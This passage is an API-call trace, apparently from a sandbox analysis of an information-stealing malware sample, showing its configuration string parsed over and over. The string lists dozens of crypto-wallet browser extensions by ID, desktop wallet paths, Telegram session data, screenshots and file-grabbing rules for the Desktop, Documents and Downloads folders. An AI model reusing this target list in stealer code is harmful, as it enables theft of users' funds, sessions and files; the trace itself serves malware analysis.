Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.783] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3793 [0259.783] LocalAlloc (uFlags=0x40, uBytes=0x1e22) returned 0x6ef5a0 [0259.784] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0259.784] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.784] StrStrW (lpFirst="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.784] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0259.785] LocalFree (hMem=0x6b9720) returned 0x0 [0259.785] LocalFree (hMem=0x6bb4d0) returned 0x0 [0259.785] LocalFree (hMem=0x6bd280) returned 0x0 [0259.786] StrStrW (lpFirst="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 